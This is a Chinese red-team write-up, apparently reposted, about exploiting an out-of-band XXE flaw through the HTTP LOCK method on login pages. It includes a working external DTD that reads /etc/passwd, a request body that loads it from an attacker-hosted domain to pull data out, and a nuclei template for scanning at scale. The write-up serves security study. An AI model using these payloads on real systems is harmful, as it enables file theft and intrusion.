本文将通过HTTP锁定方法介绍我在Red Teaming Engagement期间在中发现的一个有趣的带外XXEProduct Based Company漏洞之一,并大规模利用了该漏洞。
如今手法许多类别、例如网络威胁情报,内部对手模拟,外部对手模拟,社会工程学,深层Web /暗网暴露,OSINT,网络钓鱼等。
此漏洞是在“外部攻击者模拟”类别中发现的,该 类别用来测试Web应用程序和网络资产,以查找关键的服务器端错误,以便我们可以窃取数据以取得初步立足点。
-
Web应用程序渗透部分下有数百个登录页面,并且从Deep / Dark Web Exposure获得的凭据不起作用:(
-
找到了许多由公司开发给他们的客户的登录页面,以处理双方之间的数据。
步骤1:使用客户端代理(例如Burp Suite)拦截登录请求,如下所示
步骤2:开始检查使用OPTIONS在应用程序中启用的不同HTTP方法
从上图可以看出,应用程序没有任何反应,得到了与GET方法相同的响应。
步骤3:删除login.jsp并提供一个不存在的值(测试)后,它显示了应用程序允许的不同HTTP方法
-
如果应用程序PROPPATCH,PROPFIND,LOCK启用了HTTP方法,它将接受XML作为输入。
步骤4:尝试了PUT方法并返回了403 forbidden error,但是当我尝试LOCK方法时,它显示了一些XML数据作为输出,如下所示
-
还提到了OOB-XXE它将与支持XML输入的任何方法一起使用。
步骤5:因此,我开始使用基本有效负载测试OOB-XXE,如下所示
注意:我们从服务器获得了HTTP和DNS命中。
步骤6:由于是Out-Of-Band XXE,请按照以下步骤设置环境
注意:我们需要将DTD文件托管在Web服务器上。在这里,我们在云上使用了一个简单的Web服务器,将域yourdomainname.com指向服务器的公共IP地址,并将文件托管exploited.dtd在服务器上。
内容exploited.dtd:
<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % ext "<!ENTITY exfil SYSTEM 'file:///%file;'>">
请求正文发送到易受攻击的URL:
<!ELEMENT foo ANY>
<!ENTITY % xxe SYSTEM "http://yourdomainname.com/exploitd.dtd">
%xxe;
%ext;
]>
<foo><u>
&exfil;
</u></foo>
步骤7:现在有趣的事情开始了,我们能够提取并读取不同的目录文件和敏感信息,例如备份文件,配置文件,ssh密钥和访问日志等
-
由于存在大量子域,因此我们编写了一个核模板来检测此OOB-XXE,如下所示。
id: XXE on XXXX Login
info:
name: XML External Entity-XXXX
author: dhiyaneshDk
severity: high
requests:
- raw:
- |
LOCK /xxxx/test HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 178
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY % xxe SYSTEM "http://yourdomainname.com/exploitd.dtd">
%xxe;
%ext;
]>
<foo><u>
&exfil
</u></foo>
matchers-condition: and
matchers:
- type: status
status:
- 500
- type: word
words:
- '/root:x:0:0:root:/root:/bin/bash'
part: body
-
有大约36+实例这是脆弱到XXE和交叉手工检查所有实例。
影响 :
XXE漏洞可能使攻击者将XML解析器转换为代理,该代理允许根据请求提供本地和远程内容。它允许攻击者执行以下操作:
-
在应用程序服务器上读取文件
-
与应用程序本身可以访问的任何后端或外部系统进行交互
-
查看系统中存在的配置文件。
本文始发于微信公众号(Khan安全攻防实验室):在Wildfire上利用XXE
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论